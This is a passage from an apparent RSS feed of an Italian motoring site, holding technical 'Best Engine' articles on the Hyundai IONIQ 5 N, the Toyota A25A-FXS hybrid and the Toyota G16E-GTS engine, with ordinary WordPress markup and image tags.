<p class="wp-block-paragraph">La struttura del motore è composta da un blocco in alluminio pressofuso con una coppa dell&#8217;olio in lega di alluminio strutturale. Gli elementi essenziali, come i cappelli dei cuscinetti di banco e l&#8217;albero motore, sono realizzati in acciaio forgiato, mentre le bielle sono anch&#8217;esse in acciaio. Questa scelta di materiali contribuisce a una maggiore robustezza e precisione, migliorando l&#8217;efficienza del carburante attraverso la riduzione degli attriti.</p>



<h2 class="wp-block-heading"><strong>Sistema di Iniezione e Raffreddamento</strong></h2>



<p class="wp-block-paragraph">L’iniezione diretta del carburante avviene ad alta pressione, con sistemi differenti a seconda della potenza: una pompa singola per la versione a bassa potenza e una doppia per quella ad alta potenza. Il motore è dotato anche di un intercooler acqua-aria, che riduce la temperatura dell&#8217;aria compressa prima che entri nel collettore di aspirazione, ottimizzando le prestazioni.</p>



<h2 class="wp-block-heading"><strong>Tecnologie Avanzate per l’Efficienza</strong></h2>



<p class="wp-block-paragraph">Il motore Hurricane include doppi alberi a camme in testa con fasatura variabile delle valvole, migliorando l&#8217;efficienza sia in aspirazione che in scarico. Inoltre, la pompa dell&#8217;olio ha cilindrata variabile e il termostato a valvola di dimensioni ridotte contribuiscono a un sistema di raffreddamento più efficace, riducendo le perdite meccaniche.</p>



<h2 class="wp-block-heading"><strong>Design Innovativo dei Cilindri</strong></h2>



<p class="wp-block-paragraph">I pistoni sono realizzati in alluminio forgiato e raffreddati a getto d&#8217;olio, con un rivestimento in DLC per minimizzare l&#8217;attrito. Il motore a bassa potenza utilizza pistoni in alluminio pressofuso con inserto in ghisa, garantendo un rapporto di compressione di 10,4:1. L&#8217;EGR raffreddato aiuta a gestire le temperature e ridurre le perdite di pompaggio.</p>



<h2 class="wp-block-heading"><strong>Rivestimento PTWA e Ottimizzazione Termica</strong></h2>



<p class="wp-block-paragraph">Il motore è dotato di un rivestimento PTWA, ultrasottile e altamente resistente all&#8217;usura, applicato al blocco motore mediante tecnologie derivate dall&#8217;industria aerospaziale. Questo processo permette un migliore trasferimento di calore e raffreddamento, consentendo agli ingegneri di ottimizzare la miscela aria-carburante e la fasatura dell&#8217;accensione su un&#8217;ampia gamma operativa.</p>
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		<title>Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche.</title>
		<link>https://www.giornalemotori.com/2024/12/29/best-engine-hyundai-ioniq-5-n-la-rivoluzione-elettrica-con-650-cv-di-emozioni-e-innovazioni-tecnologiche/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-hyundai-ioniq-5-n-la-rivoluzione-elettrica-con-650-cv-di-emozioni-e-innovazioni-tecnologiche</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 29 Dec 2024 12:07:59 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Hyundai ha scelto di rivoluzionare il mondo delle auto sportive con la mobilità elettrica, lanciando la IONIQ 5 nella versione N, che rappresenta il massimo sviluppo della piattaforma tecnica HMG E-GMP. Questa vettura segna un passo cruciale non solo per il colosso coreano, ma per l’intero panorama dell’auto elettrica, messa spesso alla prova da movimenti [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2024/12/29/best-engine-hyundai-ioniq-5-n-la-rivoluzione-elettrica-con-650-cv-di-emozioni-e-innovazioni-tecnologiche/">Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche.</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Hyundai ha scelto di rivoluzionare il mondo delle auto sportive con la mobilità elettrica, lanciando la IONIQ 5 nella versione N, che rappresenta il massimo sviluppo della piattaforma tecnica HMG E-GMP. Questa vettura segna un passo cruciale non solo per il colosso coreano, ma per l’intero panorama dell’auto elettrica, messa spesso alla prova da movimenti populisti e da un diffuso scetticismo, soprattutto tra gli appassionati di auto endotermiche ad alte prestazioni.</p>



<p class="wp-block-paragraph">La IONIQ 5 N integra tecnologie derivate dal motorsport e offre funzioni avanzate, come il <strong>N Drift Optimizer</strong>, che ottimizza la guida sportiva; il <strong>N Launch Control</strong>, per massimizzare la trazione in partenza; il <strong>N Grin Boost</strong>, che fornisce un’accelerazione temporanea aggiuntiva; il <strong>N Active Sound+</strong>, per un’esperienza sonora coinvolgente; e l’<strong>N e-shift</strong>, che simula il cambio marcia per un feeling di guida più dinamico. Queste innovazioni fondono le alte prestazioni con l’ecosostenibilità, stabilendo nuovi standard di equilibrio tra piacere di guida e tecnologia verde.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-1024x768.jpg" alt="Hyundai Ioniq 5 N 2024 1280 33c92cf17578961cda16c778006bac409f" class="wp-image-147291" title="Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 147" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-33c92cf17578961cda16c778006bac409f-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 151</figcaption></figure>



<h2 class="wp-block-heading"><strong>Potenza elevata e trazione integrale </strong></h2>



<p class="wp-block-paragraph">La sportiva coreana è equipaggiata con due motori sincroni a magneti permanenti: uno sull’asse anteriore da 238 CV e uno su quello posteriore da 412 CV, per una potenza complessiva di 650 CV e una coppia massima di 750 Nm. La trazione integrale è gestita da un sofisticato sistema elettronico, che bilancia la potenza tra i due assi e tra le singole ruote, adattandosi alle modalità di guida e alle condizioni del manto stradale. Grazie a questa configurazione, la IONIQ 5 N si trasforma in una macchina da drift accessibile anche ai meno esperti.</p>



<p class="wp-block-paragraph">Le prestazioni sono straordinarie: accelera da 0 a 100 km/h in soli 3,4 secondi, con una velocità massima di 260 km/h, un risultato raro per le auto elettriche del suo segmento, nonostante un peso complessivo di 2.225 kg. La IONIQ 5 N ha dimostrato il suo valore in pista, facendo segnare un tempo di 1:56.00 sul circuito di Hockenheim GP, superando modelli prestigiosi come Audi RS6 Avant GT e Mercedes-AMG E 63 S 4Matic+. Al Nürburgring, ha fermato il cronometro a 7’45”59, battendo auto blasonate come la Mercedes SLS AMG Coupé Electric e compatte sportive di alto livello, tra cui la Cupra Formentor VZ5 e la BMW M2.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-1024x768.jpg" alt="Hyundai Ioniq 5 N 2024 1280 15d08f5b2749dcaa60bb2a16e1b5cbb713" class="wp-image-147292" title="Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 148" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-15d08f5b2749dcaa60bb2a16e1b5cbb713-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 152</figcaption></figure>



<h2 class="wp-block-heading"><strong>Buona percorrenza e carica veloce </strong></h2>



<p class="wp-block-paragraph">La batteria agli ioni di litio, con capacità lorda di 84 kWh (80 kWh utilizzabili), è composta da 384 celle disposte in serie e parallelo, con un valore nominale di 697 V e una garanzia di 8 anni o 160.000 km. L’autonomia, calcolata secondo il ciclo WLTP, raggiunge i 488 km, ma varia notevolmente in base a fattori come percorso, stile di guida e temperatura. In condizioni reali, l’autonomia si aggira mediamente sui 390 km, con consumi che oscillano tra 14 kWh/100 km in città con clima mite e 28,6 kWh/100 km in autostrada a temperature rigide.</p>



<p class="wp-block-paragraph">Dal punto di vista dei costi, la IONIQ 5 N si dimostra efficiente: il consumo energetico, parametrato su una vettura endotermica di pari potenza, corrisponde a 2,5-5,0 litri/100 km, in base al tipo di ricarica (corrente alternata o continua). Per la ricarica, la vettura supporta la corrente alternata con una potenza massima di 11 kW e la corrente continua fino a 263 kW. Quest’ultima permette di passare dal 10% all’80% di carica in soli 17 minuti, garantendo un’autonomia di 310 km con una pausa di ricarica brevissima.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-1024x768.jpg" alt="Hyundai Ioniq 5 N 2024 1280 fc0a5d5c6bb7738a19fe051af19950a95e" class="wp-image-147293" title="Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 149" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2024/12/Hyundai-Ioniq_5_N-2024-1280-fc0a5d5c6bb7738a19fe051af19950a95e-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 153</figcaption></figure>



<h2 class="wp-block-heading"><strong>Prezzo contenuto per le emozioni che regala </strong></h2>



<p class="wp-block-paragraph">La funzione <strong>V2L</strong> (Vehicle-to-Load) rende la IONIQ 5 N un vero e proprio generatore di energia: grazie a un adattatore, può alimentare elettrodomestici e dispositivi fino a 3,6 kWh, offrendo persino la possibilità di fornire energia a un’abitazione. Tutto questo a un prezzo competitivo di 74.800 euro, equivalenti a 115 euro per cavallo vapore, rendendo la IONIQ 5 N una scelta straordinaria per chi cerca alte prestazioni senza rinunciare alla sostenibilità.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<div class="youtube-embed" data-video_id="tZMcnF4VA9g"><iframe loading="lazy" title="Hyundai N｜The all-new IONIQ 5 N World Premiere" width="696" height="392" src="https://www.youtube.com/embed/tZMcnF4VA9g?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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<h2 class="wp-block-heading"><strong>In collaborazione con Hyundai Sinergy Castellammare di Stabia (NA) </strong></h2>



<figure class="wp-block-image size-full"><img decoding="async" width="360" height="360" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/348238291_195024636339059_8419931944790224810_n.jpg" alt="348238291 195024636339059 8419931944790224810 n" class="wp-image-147294" title="Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 150" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/348238291_195024636339059_8419931944790224810_n.jpg 360w, https://www.giornalemotori.com/wp-content/uploads/2024/12/348238291_195024636339059_8419931944790224810_n-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/12/348238291_195024636339059_8419931944790224810_n-300x300.jpg 300w" sizes="(max-width: 360px) 100vw, 360px" /><figcaption>Best Engine: Hyundai IONIQ 5 N, La rivoluzione Elettrica con 650 CV di emozioni e innovazioni Tecnologiche. 154</figcaption></figure>
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			<media:title type="plain">Tecnica Auto</media:title>
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		<title>Best Engine: Toyota A25A-FXS hybrid 218 e 222cv, ancora il punto di riferimento per tutti.</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 17:10:53 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>I sistemi di propulsione ibrida Toyota HSD, High-Sinergy-Drive, di quinta generazione, sono contraddistinti tutti dallo stesso schema tecnico, ma assumono vari livelli di potenza potendo adottare sia la funzionalità full hybrid che quella con carica esterna plug in. La differenza sostanziale è rappresentata dal motore endotermico da piccolo tre cilindri che equipaggia la gamma Yaris, [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I sistemi di propulsione ibrida Toyota HSD, High-Sinergy-Drive, di quinta generazione, sono contraddistinti tutti dallo stesso schema tecnico, ma assumono vari livelli di potenza potendo adottare sia la funzionalità full hybrid che quella con carica esterna plug in. La differenza sostanziale è rappresentata dal motore endotermico da piccolo tre cilindri che equipaggia la gamma Yaris, al quattro cilindri con varie cubature da 1.8, 2.0 e 2.5 litri. Quindi partendo dalla analisi fatta a suo tempo per il sistema che utilizza la Prius e C-HR plug in da 224cv che potete leggere (<a href="https://www.giornalemotori.com/2024/02/02/best-engine-il-sistema-ibrido-di-toyota-hev-e-phev-di-quinta-generazione-per-prius-e-ch-r/">qui</a>), vogliamo analizzare il sistema ibrido con il motore benzina di cubatura maggiore cherappresenta il punto di riferimento assoluto per lo sviluppo delle propulsioni ibride anche per il futuro.</p>



<p class="wp-block-paragraph">Il propulsore oggetto dell’analisi è il Toyota siglato A25A-FXS, 2.5 litri quattro cilindri abbinato alla tecnologia full hybrid che genera la potenza di sistema di 218cv, se 2wd e 224cv se abbinato alla trazione iAWD, distinguendosi per la sua efficienza energetica con un notevole miglioramento della reattività. Per quanto riguarda il basso consumo di carburante ottenendo un&#8217;efficienza termica massima del 41%.  Questo risultato è il risultato è dovuto allo sfruttamento ottimale della combustione del carburante mantenendo una buona performance generale, utilizzando al meglio lo schema di funzionamento secondo il ciclo Atkinson/Miller. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="640" height="293" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/66357654e2aef220e8b9baf7-photo_2.avif" alt="66357654e2aef220e8b9baf7 photo 2" class="wp-image-146761" title="Best Engine: Toyota A25A-FXS hybrid 218 e 222cv, ancora il punto di riferimento per tutti. 155" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/66357654e2aef220e8b9baf7-photo_2.avif 640w, https://www.giornalemotori.com/wp-content/uploads/2024/12/66357654e2aef220e8b9baf7-photo_2-300x137.avif 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Best Engine: Toyota A25A-FXS hybrid 218 e 222cv, ancora il punto di riferimento per tutti. 157</figcaption></figure>



<h2 class="wp-block-heading"><strong>Riprogettata la camera di combustione in ogni dettaglio </strong></h2>



<p class="wp-block-paragraph">Il rapporto di compressione salito a 14:1, un valore che in un motore a benzina può causare fenomeni di detonazione che i tecnici giapponesi hanno compensato attraverso una combustione più rapida evitando accensioni premature della miscela aria benzina. L’aumento della rapidità di combustione avviene attraverso  il cambio del rapporto alesaggio/corsa. </p>



<p class="wp-block-paragraph">L’adozione della corsa lunga consente di avere un diametro del pistone più contenuto, ed una miscela aria carburante più condensata verso la zona della candela. L&#8217;andamento della miscela viene gestito dall&#8217;angolo maggiore tra le valvole di aspirazione e scarico con un alzata maggiore maggiore della valvola di aspirazione. Infine, viene utilizzata una iniezione a doppia fase ad alta pressione con il nuovo sistema D-4S contribuendo alla reattività e all&#8217;efficienza del motore. </p>



<h2 class="wp-block-heading"><strong>Motore a corsa lunga </strong></h2>



<p class="wp-block-paragraph">Riducendo l’alesaggio si crea un volume minore con la miscela aria-carburante che si comprime in modo più rapido ed efficiente favorendo una combustione più veloce migliorando sia la risposta del motore che l’efficienza. I valori di <strong>alesaggio passano a 87,7 mm</strong>, e 103,48mm di corda hanno un tra di loro ridotto a <strong>1,18</strong>. Un motore a corsa lunga offre una minore superficie di contatto con le pareti del cilindro, riducendo così la perdita di calore. </p>



<p class="wp-block-paragraph">L’apertura maggiorata della valvola di aspirazione ha necessitato una nuova progettazione e realizzazione delle sedi delle valvole che permette di ottimizzare il flusso nel cilindro. Il cambiamento dell&#8217;angolo tra le valvole di aspirazione e scarico è voluto per migliorare la dinamica del percorso dell&#8217;aria verso la candela. Per ottenere un passaggio del flusso senza interferenze il piattello lato interno delle valvole rivestite al laser per avere una geometria senza spigoli e meglio raccordato. </p>



<h2 class="wp-block-heading"><strong>Nuove sedi valvole e rivestimento al laser </strong></h2>



<p class="wp-block-paragraph">L&#8217;uso del classico metallo sinterizzato come rivestimento avrebbe richiesto più spazio ed un raccordo poco funzionale. Per realizzare la forma più funzionale, la polvere metallica viene spruzzata sul lato superiore della valvola e poi fusa con un laser.  Con questa innovazione, la luce di aspirazione ha una forma che ottimizza l&#8217;ingresso del gas senza ottenendo un flusso ottimale dei gas ed una camera di combustione compatta. Per sfruttare al massimo la nuova conformazione della camera di combustione viene utilizzata una nuova iniezione diretta di carburante D-4S. La doppia iniezione aiuta ad evitare la detonazione riducendo per perdite durante la fase di compressione. </p>



<h2 class="wp-block-heading"><strong>Iniezione diretta per sfruttare il rapporto di compressione più alto </strong></h2>



<p class="wp-block-paragraph">L&#8217;iniezione diretta di tipo doppio stadio, cioè in due tempi, permette un controllo più preciso della temperatura nella camera di combustione, soprattutto con gli elementi della miscela lontani dalla candela di accensione, che vengono bruciati con una seconda iniezione di carburante limitando il fenomeno dei gas incombusti e del particolato.</p>



<p class="wp-block-paragraph">La geometria della camera di combustione e la disposizione dell&#8217;iniettore sono progettate, infatti, per ottimizzare il flusso dell&#8217;aria riducendo la possibilità che le goccioline di carburante si depositino sulle pareti o sul pistone. Il collettore di scarico è integrato parte nella testa con una struttura 4-2-1 aumentando l&#8217;efficienza di evacuazione all&#8217;interno del cilindro. Il condotto della valvola EGR viene raffreddato a liquido prima di essere introdotto nel cilindro con una riduzione delle perdite di pompaggio del 25%. Infine il perno di biella ha un disallineamento dell&#8217;asse del pistone rispetto alla rotazione dell&#8217;albero motore migliorando la reattività. </p>



<h2 class="wp-block-heading"><strong>Nuovo motore elettrico e gestione della trasmissione</strong></h2>



<p class="wp-block-paragraph">La parte elettrica viene rinnovata attraverso elementi già presenti nel nuovo sistema ibrido di quinta generazione. Viene cambiato il motore elettrico, con un elemento più leggero con il rotore più efficiente. La migliore risposta, unita ad un aggiornamento della trasmissione, con un nuovo inverter per portare la potenza elettrica dalla batteria al propulsore migliorando la risposta del sistema nel suo complesso riducendo il classico effetto scooter molto meno percepito nei sistemi Toyota di ultima generazione. La potenza alle ruote arriva in modo più rapido e quando il motore benzina viene collegato anch’esso alle ruote per il funzionamento in parallelo, avviene con un sistema diverso dal passato annullando le vibrazioni durante il passaggio.</p>



<p class="wp-block-paragraph">Il tutto per una potenza per il motore benzina di 177cv a 6000 giri/min, e 221Nm di coppia da 3600 a 5200 giri/min. La parte elettrica eroga 120cv a 4200 giri/min per una coppia di 202Nm ed una potenza di sistema pari a 218cv nella versione a trazione anteriore e 222cv per quella integrale che aggiunge un secondo motore elettrico sull’asse posteriore. Il sistema ibrido che porta la sigla A25A-FXS viene montato su tutte le auto del gruppo Toyota/Lexus della fascia medio ed alta del mercato facendo registrare anche con modelli come i SUV alti, con un’efficienza aerodinamica bassa consumi nell’ordine di 25km/litro.</p>



<h2 class="wp-block-heading"><strong>In collaborazione con Toyota <a href="https://tmotor.toyota.it/" target="_blank" rel="noopener">T-Motor San Lazzaro si Savena (BO), Modena, Imola </a></strong></h2>



<figure class="wp-block-image size-full"><img decoding="async" width="359" height="359" src="https://www.giornalemotori.com/wp-content/uploads//2024/12/277137721_3166192336999898_4282735678014108701_n.jpg" alt="277137721 3166192336999898 4282735678014108701 n" class="wp-image-146762" title="Best Engine: Toyota A25A-FXS hybrid 218 e 222cv, ancora il punto di riferimento per tutti. 156" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/12/277137721_3166192336999898_4282735678014108701_n.jpg 359w, https://www.giornalemotori.com/wp-content/uploads/2024/12/277137721_3166192336999898_4282735678014108701_n-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/12/277137721_3166192336999898_4282735678014108701_n-300x300.jpg 300w" sizes="(max-width: 359px) 100vw, 359px" /><figcaption>Best Engine: Toyota A25A-FXS hybrid 218 e 222cv, ancora il punto di riferimento per tutti. 158</figcaption></figure>
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		<title>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv</title>
		<link>https://www.giornalemotori.com/2024/11/07/best-engine-toyota-g16e-gts-1-6-litri-turbo-il-tre-cilindri-piu-potente-del-mercato-con-305cv/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-toyota-g16e-gts-1-6-litri-turbo-il-tre-cilindri-piu-potente-del-mercato-con-305cv</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 07 Nov 2024 19:38:58 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il motore tre cilindri è da sempre visto con scetticismo dagli appassionati, soprattutto quelli più ortodossi. Tralasciando le motivazione tecniche dovute alle norme antinquinamento che nascondo una evidente riduzione di costi, in Giappone, invece, la situazione appare diversa. Da sempre, infatti, il sol levante ha prodotto tanti motori a tre cilindri, per lo più a [&#8230;]</p>
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<p class="wp-block-paragraph">Il motore tre cilindri è da sempre visto con scetticismo dagli appassionati, soprattutto quelli più ortodossi. Tralasciando le motivazione tecniche dovute alle norme antinquinamento che nascondo una evidente riduzione di costi, in Giappone, invece, la situazione appare diversa.</p>



<p class="wp-block-paragraph"><br>Da sempre, infatti, il sol levante ha prodotto tanti motori a tre cilindri, per lo più a causa di bizzarre limitazioni fiscali che agli europei appaiono al limite del grottesco. Come dimenticare la limitazione alla potenza a 286cv che ha azzoppato progetti poderosi come le Honda NS-X, l’unica supercar nipponica ad avere il potenziale per rivaleggiare con le blasonate della motor valley. Oppure, le tasse legate alle dimensioni che ha portato alla proliferazione delle K-Car, micro-auto con motori tre cilindri da 660cm3 con tanto di turbo e quattro valvole che giravano a giri da frullatore impazzito. Infine, proprio il numero di cilindri è oggetto di tassazione con un notevole vantaggio in termini fiscali. Un elemento fondamentale per il consumatore nipponico costretto a versare in anticipo i primi anni di tassazione all’acquisto dell’auto.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="538" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-1024x538.jpg" alt="100 horsepower per piston the 3 cylinder toyota g16e gts explained 2023 12 31 00 04 05 599535" class="wp-image-144806" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 159" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-1024x538.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-768x403.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-300x158.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-696x365.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2024/11/100-horsepower-per-piston-the-3-cylinder-toyota-g16e-gts-explained-2023-12-31_00-04-05_599535-scaled.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 166</figcaption></figure>



<h2 class="wp-block-heading"><strong>Il Motore G16E-GTS</strong></h2>



<p class="wp-block-paragraph">Del resto il paese del sol levante ha abituato gli appassionati ad una certa caparbietà sulle scelte tecnologiche come il Boxer per la Subaru o il Wankel per la Mazda. Detto questo, comunque non basta come motivazione in sé per giustificare la scelta da parte del team Gazoo Racing di un tre cilindri 1.6litri utilizzato per la Yaris GR e Corolla GR. Altri costruttori, sempre nipponici, usano motori quattro cilindri; quindi, per capire la scelta dei progettisti giapponese non resta che fare un analisi tecnica approfondita del Motore che porta la sigla G16E-GTS</p>



<p class="wp-block-paragraph">Come ampiamente anticipato si tratta del tre cilindri da 1618 cm<sup>3</sup> ottenuti con un alesaggio di 87.5mm per una corsa 89.7mm. con due livelli di potenza 257cv a 6500 giri/min e 305cv per la Corolla GR per un potenza specifica di 185,4 cavalli con una coppia di 370Nm disponibili per un ampio arco di giri da 3.250 a 4.600 giri/min. Numeri che rendono questo piccolo motore il tre cilindri più potente del mondo. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="617" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/gts_mech_block-1.png" alt="gts mech block 1" class="wp-image-144810" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 160" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_block-1.png 700w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_block-1-300x264.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_mech_block-1-696x613.png 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 167</figcaption></figure>



<h2 class="wp-block-heading"><strong>Monoblocco irrobustito e parti mobili ottimizzate </strong></h2>



<p class="wp-block-paragraph">Il primo passo era dotare il propulsore di un monoblocco che potesse resistere alle sollecitazioni di potenza elevata e vibrazioni pur restando leggero. Per ottenere tale scopo è stata scelta una soluzione a tre elementi tenuti assieme da una fascia esterna dallo spessore ridotto creando di fatto un monoblocco open deck leggero e resistente.</p>



<p class="wp-block-paragraph">L’alleggerimento ha visto coinvolto anche l&#8217;albero motore in acciaio forgiato ottenendo una massa in rotazione inferiore conservando una maggiore resistenza con una posizione sfalsata di dieci gradi rispetto all’asse dei cilindri. Ovviamente essendo un motore che per sua natura è sottoposto a vibrazioni sono stati utilizzati alberi di bilanciamento per compensare.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="282" src="https://www.giornalemotori.com/wp-content/uploads//2024/11/gts_fuel_section.png" alt="gts fuel section" class="wp-image-144808" title="Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 161" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_fuel_section.png 700w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_fuel_section-300x121.png 300w, https://www.giornalemotori.com/wp-content/uploads/2024/11/gts_fuel_section-696x280.png 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Engine: Toyota G16E-GTS 1.6 litri turbo, il tre cilindri più potente del mercato con 305cv 168</figcaption></figure>



<h2 class="wp-block-heading"><strong>Rapporto di compressione alto a 10,5:1</strong></h2>



